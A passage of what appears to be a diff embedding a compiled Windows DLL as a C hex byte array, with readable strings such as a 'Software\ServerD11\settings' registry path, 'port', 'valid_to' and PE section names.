0x3f, 0x35, 0x27, 0x81, 0xb8, 0x50, 0x73, 0xf2, 0x3f, + 0x27, 0x01, 0xd6, 0x7c, 0xb3, 0x68, 0xf2, 0x3f, 0xf1, 0x92, 0x80, 0x70, + 0x22, 0x5e, 0xf2, 0x3f, 0xb2, 0x77, 0x91, 0x7e, 0x9d, 0x53, 0xf2, 0x3f, + 0x92, 0x24, 0x49, 0x92, 0x24, 0x49, 0xf2, 0x3f, 0x5b, 0x60, 0x17, 0x97, + 0xb7, 0x3e, 0xf2, 0x3f, 0xdf, 0xbc, 0x9a, 0x78, 0x56, 0x34, 0xf2, 0x3f, + 0x2a, 0x12, 0xa0, 0x22, 0x01, 0x2a, 0xf2, 0x3f, 0x78, 0xfb, 0x21, 0x81, + 0xb7, 0x1f, 0xf2, 0x3f, 0xe6, 0x55, 0x48, 0x80, 0x79, 0x15, 0xf2, 0x3f, + 0xd9, 0xc0, 0x67, 0x0c, 0x47, 0x0b, 0xf2, 0x3f, 0x12, 0x20, 0x01, 0x12, + 0x20, 0x01, 0xf2, 0x3f, 0x70, 0x1f, 0xc1, 0x7d, 0x04, 0xf7, 0xf1, 0x3f, + 0x4c, 0xb8, 0x7f, 0x3c, 0xf4, 0xec, 0xf1, 0x3f, 0x74, 0xb8, 0x3f, 0x3b, + 0xef, 0xe2, 0xf1, 0x3f, 0xbd, 0x4a, 0x2e, 0x67, 0xf5, 0xd8, 0xf1, 0x3f, + 0x1d, 0x81, 0xa2, 0xad, 0x06, 0xcf, 0xf1, 0x3f, 0x59, 0xe0, 0x1c, 0xfc, + 0x22, 0xc5, 0xf1, 0x3f, 0x29, 0xed, 0x46, 0x40, 0x4a, 0xbb, 0xf1, 0x3f, + 0xe3, 0xba, 0xf2, 0x67, 0x7c, 0xb1, 0xf1, 0x3f, 0x96, 0x7b, 0x1a, 0x61, + 0xb9, 0xa7, 0xf1, 0x3f, 0x9e, 0x11, 0xe0, 0x19, 0x01, 0x9e, 0xf1, 0x3f, + 0x9c, 0xa2, 0x8c, 0x80, 0x53, 0x94, 0xf1, 0x3f, 0xdb, 0x2b, 0x90, 0x83, + 0xb0, 0x8a, 0xf1, 0x3f, 0x12, 0x18, 0x81, 0x11, 0x18, 0x81, 0xf1, 0x3f, + 0x84, 0xd6, 0x1b, 0x19, 0x8a, 0x77, 0xf1, 0x3f, 0x79, 0x73, 0x42, 0x89, + 0x06, 0x6e, 0xf1, 0x3f, 0x01, 0x32, 0xfc, 0x50, 0x8d, 0x64, 0xf1, 0x3f, + 0x0d, 0x27, 0x75, 0x5f, 0x1e, 0x5b, 0xf1, 0x3f, 0xc9, 0xd5, 0xfd, 0xa3, + 0xb9, 0x51, 0xf1, 0x3f, 0x3b, 0xcd, 0x0a, 0x0e, 0x5f, 0x48, 0xf1, 0x3f, + 0x24, 0x47, 0x34, 0x8d, 0x0e, 0x3f, 0xf1, 0x3f, 0x11, 0xc8, 0x35, 0x11, + 0xc8, 0x35, 0xf1, 0x3f, 0xac, 0xc0, 0xed, 0x89, 0x8b, 0x2c, 0xf1, 0x3f, + 0x33, 0x30, 0x5d, 0xe7, 0x58, 0x23, 0xf1, 0x3f, 0x26, 0x48, 0xa7, 0x19, + 0x30, 0x1a, 0xf1, 0x3f, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0xf1, 0x3f, + 0x80, 0x10, 0x01, 0xbe, 0xfb, 0x07, 0xf1, 0x3f, 0x11, 0xf0, 0xfe, 0x10, + 0xf0, 0xfe, 0xf0, 0x3f, 0xa2, 0x25, 0xb3, 0xfa, 0xed, 0xf5, 0xf0, 0x3f, + 0x90, 0x9c, 0xe6, 0x6b, 0xf5, 0xec, 0xf0, 0x3f, 0x11, 0x60, 0x82, 0x55, + 0x06, 0xe4, 0xf0, 0x3f, 0x96, 0x46, 0x8f, 0xa8, 0x20, 0xdb, 0xf0, 0x3f, + 0x3a, 0x9e, 0x35, 0x56, 0x44, 0xd2, 0xf0, 0x3f, 0x3b, 0xda, 0xbc, 0x4f, + 0x71, 0xc9, 0xf0, 0x3f, 0x71, 0x41, 0x8b, 0x86, 0xa7, 0xc0, 0xf0, 0x3f, + 0xc8, 0x9d, 0x25, 0xec, 0xe6, 0xb7, 0xf0, 0x3f, 0xb5, 0xec, 0x2e, 0x72, + 0x2f, 0xaf, 0xf0, 0x3f, 0xa7, 0x10, 0x68, 0x0a, 0x81, 0xa6, 0xf0, 0x3f, + 0x60, 0x83, 0xaf, 0xa6, 0xdb, 0x9d, 0xf0, 0x3f, 0x54, 0x09, 0x01, 0x39, + 0x3f, 0x95, 0xf0, 0x3f, 0xe2, 0x65, 0x75, 0xb3, 0xab, 0x8c, 0xf0, 0x3f, + 0x84, 0x10, 0x42, 0x08, 0x21, 0x84, 0xf0, 0x3f, 0xe2, 0xea, 0xb8, 0x29, + 0x9f, 0x7b, 0xf0, 0x3f, 0xc6, 0xf7, 0x47, 0x0a, 0x26, 0x73, 0xf0, 0x3f, + 0xfb, 0x12, 0x79, 0x9c, 0xb5, 0x6a, 0xf0, 0x3f, 0xfc, 0xa9, 0xf1, 0xd2, + 0x4d, 0x62, 0xf0, 0x3f, 0x86, 0x75, 0x72, 0xa0, 0xee, 0x59, 0xf0, 0x3f, + 0x04, 0x34, 0xd7, 0xf7, 0x97, 0x51, 0xf0, 0x3f, 0xc5, 0x64, 0x16, 0xcc, + 0x49, 0x49, 0xf0, 0x3f, 0x10, 0x04, 0x41, 0x10, 0x04, 0x41, 0xf0, 0x3f, + 0xfc, 0x47, 0x82, 0xb7, 0xc6, 0x38, 0xf0, 0x3f, 0x1a, 0x5e, 0x1f, 0xb5, + 0x91, 0x30, 0xf0, 0x3f, 0xe9, 0x29, 0x77, 0xfc, 0x64, 0x28, 0xf0, 0x3f, + 0x08, 0x04, 0x02, 0x81, 0x40, 0x20, 0xf0, 0x3f, 0x37, 0x7a, 0x51, 0x36, + 0x24, 0x18, 0xf0, 0x3f, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0xf0, 0x3f, + 0x80, 0x00, 0x01, 0x02, 0x04, 0x08, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x6c, 0x6f, 0x67, 0x31, 0x30, 0x00, 0x00, 0x00, 0x43, 0x00, 0x4f, 0x00, + 0x4e, 0x00, 0x4f, 0x00, 0x55, 0x00, 0x54, 0x00, 0x24, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0xff, 0xff, 0x3f, 0x43, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x3f, 0xc3, + 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x3f, 0x00, 0x00, 0x53, 0x6f, 0x66, 0x74, + 0x77, 0x61, 0x72, 0x65, 0x5c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x44, + 0x31, 0x31, 0x5c, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x00, + 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x00, 0x00, 0x70, 0x6f, 0x72, 0x74, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x61, 0x6c, 0x69, + 0x64, 0x5f, 0x74, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x45, 0x56, 0x45, 0x4e, 0x54, 0x5f, 0x25, 0x64, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x36, 0x31, 0x66, 0x30, 0x34, 0x64, 0x64, 0x36, 0x33, 0x37, 0x61, 0x37, + 0x34, 0x65, 0x65, 0x33, 0x34, 0x34, 0x39, 0x33, 0x66, 0x63, 0x31, 0x30, + 0x32, 0x35, 0x64, 0x65, 0x32, 0x63, 0x31, 0x33, 0x31, 0x30, 0x32, 0x32, + 0x35, 0x33, 0x36, 0x64, 0x61, 0x37, 0x35, 0x31, 0x63, 0x32, 0x39, 0x65, + 0x33, 0x66, 0x66, 0x34, 0x65, 0x39, 0x30, 0x32, 0x34, 0x64, 0x38, 0x65, + 0x65, 0x63, 0x34, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x53, 0xe4, 0x87, 0x68, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, + 0xa4, 0x02, 0x00, 0x00, 0x18, 0xa8, 0x01, 0x00, 0x18, 0x96, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x53, 0xe4, 0x87, 0x68, 0x00, 0x00, 0x00, 0x00, + 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x08, 0xd0, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0x22, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x08, 0x23, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xa8, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x23, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x23, 0x01, 0x80, + 0x01, 0x00, 0x00, 0x00, 0x18, 0x23, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, + 0x18, 0xe1, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x47, 0x43, 0x54, 0x4c, 0x00, 0x10, 0x00, 0x00, + 0x20, 0x06, 0x01, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6d, 0x6e, + 0x00, 0x00, 0x00, 0x00, 0x20, 0x16, 0x01, 0x00, 0x40, 0x00, 0x00, 0x00, + 0x2e, 0x74, 0x65, 0x78, 0x74, 0x24, 0x6d, 0x6e, 0x24, 0x30, 0x30, 0x00, + 0x60, 0x16, 0x01, 0x00, 0xe0, 0x02, 0x00, 0x00, 0x2e, 0x74, 0x65, 0x78, + 0x74, 0x24, 0x78, 0x00, 0x00, 0x20, 0x01, 0x00, 0xf8, 0x02, 0x00, 0x00, + 0x2e, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, + 0xf8, 0x22, 0x01, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2e, 0x30, 0x30, 0x63, + 0x66, 0x67, 0x00, 0x00, 0x20, 0x23, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x2e, 0x43, 0x52, 0x54, 0x24, 0x58, 0x43, 0x41, 0x00, 0x00, 0x00, 0x00, + 0x28, 0x23, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2e, 0x43, 0x52, 0x54, + 0x24, 0x58, 0x43, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x30, 0x23, 0x01, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x2e, 0x43, 0x52, 0x54, 0x24, 0x58, 0x49, 0x41, + 0x00, 0x00, 0x00, 0x00, 0x38, 0x23, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, + 0x2e, 0x43, 0x52, 0x54, 0x24, 0x58, 0x49, 0x43, 0x00, 0x00, 0x00, 0x00, + 0x50, 0x23, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2e, 0x43, 0x52, 0x54, + 0x24, 0x58, 0x49, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x58, 0x23, 0x01, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x2e, 0x43, 0x52, 0x54, 0x24, 0x58, 0x50, 0x41, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x23, 0x01, 0x00, 0x10, 0x00, 0x00, 0x00, + 0x2e, 0x43, 0x52, 0x54, 0x24, 0x58, 0x50, 0x58, 0x00, 0x00, 0x00, 0x00, + 0x70, 0x23, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2e, 0x43, 0x52, 0x54, + 0x24, 0x58, 0x50, 0x58, 0x41, 0x00, 0x00, 0x00, 0x78, 0x23, 0x01, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x2e, 0x43, 0x52, 0x54, 0x24, 0x58, 0x50, 0x5a, + 0x00, 0x00, 0x00, 0x00, 0x80, 0x23, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x2e, 0x43, 0x52, 0x54, 0x24, 0x58, 0x54, 0x41, 0x00, 0x00, 0x00, 0x00, + 0x88, 0x23, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2e, 0x43, 0x52, 0x54, + 0x24, 0x58, 0x54, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x90, 0x23, 0x01, 0x00, + 0x70, 0x84, 0x00, 0x00, 0x2e, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0xa8, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, 0x2e, 0x72, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x76, 0x6f, 0x6c, 0x74, 0x6d, 0x64, 0x00, 0x00, 0x00, + 0x18, 0xa8, 0x01, 0x00, 0xa8, 0x02, 0x00, 0x00, 0x2e, 0x72, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x7a, 0x7a, 0x7a, 0x64, 0x62, 0x67, 0x00, 0x00, 0x00, + 0xc0, 0xaa, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2e, 0x72, 0x74, 0x63, + 0x24, 0x49, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xaa, 0x01, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x2e, 0x72, 0x74, 0x63, 0x24, 0x49, 0x5a, 0x5a, + 0x00, 0x00, 0x00, 0x00, 0xd0, 0xaa, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x2e, 0x72, 0x74, 0x63, 0x24, 0x54, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, + 0xd8, 0xaa, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2e, 0x72, 0x74, 0x63, + 0x24, 0x54, 0x5a, 0x5a, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xaa, 0x01, 0x00, + 0x40, 0x0e, 0x00, 0x00, 0x2e, 0x78, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x20, 0xb9, 0x01, 0x00, 0x44, 0x00, 0x00, 0x00, 0x2e, 0x65, 0x64, 0x61, + 0x74, 0x61, 0x00, 0x00, 0x64, 0xb9, 0x01, 0x00, 0x50, 0x00, 0x00, 0x00, + 0x2e, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, + 0xb4, 0xb9, 0x01, 0x00, 0x14, 0x00, 0x00, 0x00, 0x2e, 0x69, 0x64, 0x61, + 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xb9, 0x01, 0x00, + 0xf8, 0x02, 0x00, 0x00, 0x2e, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, + 0x00, 0x00, 0x00, 0x00, 0xc0, 0xbc, 0x01, 0x00, 0xfc, 0x05, 0x00, 0x00, + 0x2e, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36, 0x00, 0x00, 0x00, 0x00, + 0x00, 0xd0, 0x01, 0x00, 0x30, 0x0b, 0x00, 0x00, 0x2e, 0x64, 0x61, 0x74, + 0x61, 0x00, 0x00, 0x00, 0x30, 0xdb, 0x01, 0x00, 0x68, 0x12, 0x00, 0x00, + 0x2e, 0x62, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x01, 0x00, + 0x68, 0x10, 0x00, 0x00, 0x2e, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, + 0x00, 0x10, 0x02, 0x00, 0xfc, 0x00, 0x00, 0x00, 0x5f, 0x52, 0x44, 0x41, + 0x54, 0x41, 0x00, 0x00, 0x00, 0x20, 0x02, 0x00, 0x60, 0x00, 0x00, 0x00, + 0x2e, 0x72, 0x73, 0x72, 0x63, 0x24, 0x30, 0x31, 0x00, 0x00, 0x00, 0x00, + 0x60, 0x20, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x2e, 0x72, 0x73, 0x72, + 0x63, 0x24, 0x30, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x16, 0x04, 0x00, + 0x16, 0x52, 0x12, 0x70, 0x11, 0x60, 0x10, 0x30, 0x19, 0x6b, 0x06, 0x00, + 0x6b, 0x74, 0x0e, 0x00, 0x66, 0x34, 0x0c, 0x00, 0x06, 0x92, 0x02, 0x60, + 0x30, 0x13, 0x01, 0x00, 0x48, 0x00, 0x00, 0x00, 0x19, 0x25, 0x05, 0x00, + 0x14, 0x01, 0x62, 0x00, 0x05, 0xd0, 0x03, 0x30, 0x02, 0x50, 0x00, 0x00, + 0x30, 0x13, 0x01, 0x00, 0xe0, 0x02, 0x00, 0x00, 0x21, 0x21, 0x06, 0x00, + 0x21, 0xe4, 0x5f, 0x00, 0x12, 0x74, 0x61, 0x00, 0x08, 0x64, 0x66, 0x00, + 0x80, 0x11, 0x00, 0x00, 0xdf, 0x11, 0x00, 0x00, 0x04, 0xab, 0x01, 0x00, + 0x21, 0x12, 0x04, 0x00, 0x12, 0xf4, 0x5e, 0x00, 0x08, 0xc4, 0x60, 0x00, + 0xdf, 0x11, 0x00, 0x00, 0xe7, 0x13, 0x00, 0x00, 0x1c, 0xab, 0x01, 0x00, + 0x21, 0x00, 0x00, 0x00, 0xdf, 0x11, 0x00, 0x00, 0xe7, 0x13, 0x00, 0x00, + 0x1c, 0xab, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x80, 0x11, 0x00, 0x00, + 0xdf, 0x11, 0x00, 0x00, 0x04, 0xab, 0x01, 0x00, 0x21, 0x00, 0x0a, 0x00, + 0x00, 0xf4, 0x5e, 0x00, 0x00, 0xe4, 0x5f, 0x00, 0x00, 0xc4, 0x60, 0x00, + 0x00, 0x74, 0x61, 0x00, 0x00, 0x64, 0x66, 0x00, 0x80, 0x11, 0x00, 0x00, + 0xdf, 0x11, 0x00, 0x00, 0x04, 0xab, 0x01, 0x00, 0x19, 0x1a, 0x04, 0x00, + 0x0b, 0x01, 0x13, 0x00, 0x04, 0xd0, 0x02, 0x50, 0x30, 0x13, 0x01, 0x00, + 0x70, 0x00, 0x00, 0x00, 0x21, 0x2c, 0x06, 0x00, 0x2c, 0xf4, 0x10, 0x00, + 0x21, 0xe4, 0x11, 0x00, 0x08, 0x74, 0x12, 0x00, 0xd0, 0x16, 0x00, 0x00, + 0x5d, 0x17, 0x00, 0x00, 0x94, 0xab, 0x01, 0x00, 0x21, 0x08, 0x02, 0x00, + 0x08, 0x34, 0x17, 0x00, 0x5d, 0x17, 0x00, 0x00, 0xa6, 0x17, 0x00, 0x00, + 0xa8, 0xab, 0x01, 0x00, 0x21, 0x08, 0x02, 0x00, 0x08, 0x64, 0x18, 0x00, + 0xa6, 0x17, 0x00, 0x00, 0xb7, 0x17, 0x00, 0x00, 0xc4, 0xab, 0x01, 0x00, + 0x21, 0x00, 0x00, 0x00, 0xa6, 0x17, 0x00, 0x00, 0xb7, 0x17, 0x00, 0x00, + 0xc4, 0xab, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x5d, 0x17, 0x00, 0x00, + 0xa6, 0x17, 0x00, 0x00, 0xa8, 0xab, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, + 0xd0, 0x16, 0x00, 0x00, 0x5d, 0x17, 0x00, 0x00, 0x94, 0xab, 0x01, 0x00, + 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, + 0x05, 0x34, 0x06, 0x00, 0xb0, 0x18, 0x00, 0x00, 0xbd, 0x18, 0x00, 0x00, + 0x1c, 0xac, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0xb0, 0x18, 0x00, 0x00, + 0xbd, 0x18, 0x00, 0x00, 0x1c, 0xac, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x11, 0x15, 0x08, 0x00, 0x15, 0x74, 0x09, 0x00, 0x15, 0x64, 0x07, 0x00, + 0x15, 0x34, 0x06, 0x00, 0x15, 0x32, 0x11, 0xe0, 0x50, 0x27, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x28, 0x1a, 0x00, 0x00, 0x97, 0x1a, 0x00, 0x00, + 0x60, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfa, 0x1a, 0x00, 0x00, + 0x05, 0x1b, 0x00, 0x00, 0x60, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x50, 0x11, 0x0a, 0x04, 0x00, + 0x0a, 0x34, 0x08, 0x00, 0x0a, 0x52, 0x06, 0x70, 0x50, 0x27, 0x00, 0x00, + 0x04, 0x00, 0x00, 0x00, 0x3f, 0x1b, 0x00, 0x00, 0x5e, 0x1b, 0x00, 0x00, + 0x77, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x1b, 0x00, 0x00, + 0x76, 0x1b, 0x00, 0x00, 0x90, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x7f, 0x1b, 0x00, 0x00, 0x8a, 0x1b, 0x00, 0x00, 0x77, 0x16, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7f, 0x1b, 0x00, 0x00, 0x8b, 0x1b, 0x00, 0x00, + 0x90, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, + 0x04, 0x42, 0x00, 0x00, 0x09, 0x1a, 0x06, 0x00, 0x1a, 0x34, 0x0f, 0x00, + 0x1a, 0x72, 0x16, 0xe0, 0x14, 0x70, 0x13, 0x60, 0x50, 0x27, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0xc1, 0x1b, 0x00, 0x00, 0xa7, 0x1c, 0x00, 0x00, + 0xa4, 0x16, 0x01, 0x00, 0xa7, 0x1c, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, + 0x06, 0x52, 0x02, 0x50, 0x01, 0x0f, 0x06, 0x00, 0x0f, 0x64, 0x07, 0x00, + 0x0f, 0x34, 0x06, 0x00, 0x0f, 0x32, 0x0b, 0x70, 0x01, 0x08, 0x01, 0x00, + 0x08, 0x42, 0x00, 0x00, 0x01, 0x09, 0x01, 0x00, 0x09, 0x62, 0x00, 0x00, + 0x01, 0x0a, 0x04, 0x00, 0x0a, 0x34, 0x0d, 0x00, 0x0a, 0x72, 0x06, 0x70, + 0x01, 0x08, 0x04, 0x00, 0x08, 0x72, 0x04, 0x70, 0x03, 0x60, 0x02, 0x30, + 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x0d, 0x04, 0x00, + 0x0d, 0x34, 0x09, 0x00, 0x0d, 0x32, 0x06, 0x50, 0x09, 0x04, 0x01, 0x00, + 0x04, 0x22, 0x00, 0x00, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xd3, 0x22, 0x00, 0x00, 0x5d, 0x23, 0x00, 0x00, 0xda, 0x16, 0x01, 0x00, + 0x5d, 0x23, 0x00, 0x00, 0x01, 0x02, 0x01, 0x00, 0x02, 0x50, 0x00, 0x00, + 0x01, 0x14, 0x08, 0x00, 0x14, 0x64, 0x08, 0x00, 0x14, 0x54, 0x07, 0x00, + 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, 0x01, 0x15, 0x05, 0x00, + 0x15, 0x34, 0xba, 0x00, 0x15, 0x01, 0xb8, 0x00, 0x06, 0x50, 0x00, 0x00, + 0x01, 0x0a, 0x04, 0x00, 0x0a, 0x34, 0x06, 0x00, 0x0a, 0x32, 0x06, 0x70, + 0x01, 0x0f, 0x06, 0x00, 0x0f, 0x64, 0x06, 0x00, 0x0f, 0x34, 0x05, 0x00, + 0x0f, 0x12, 0x0b, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x1c, 0x0c, 0x00, 0x1c, 0x64, 0x10, 0x00, + 0x1c, 0x54, 0x0f, 0x00, 0x1c, 0x34, 0x0e, 0x00, 0x1c, 0x72, 0x18, 0xf0, + 0x16, 0xe0, 0x14, 0xd0, 0x12, 0xc0, 0x10, 0x70, 0x09, 0x0d, 0x01, 0x00, + 0x0d, 0x82, 0x00, 0x00, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x3d, 0x2a, 0x00, 0x00, 0x4c, 0x2a, 0x00, 0x00, 0xf2, 0x16, 0x01, 0x00, + 0x4c, 0x2a, 0x00, 0x00, 0x01, 0x07, 0x03, 0x00, 0x07, 0x42, 0x03, 0x50, + 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01, 0x03, 0x00, + 0x02, 0x16, 0x00, 0x06, 0x01, 0x70, 0x00, 0x00, 0x01, 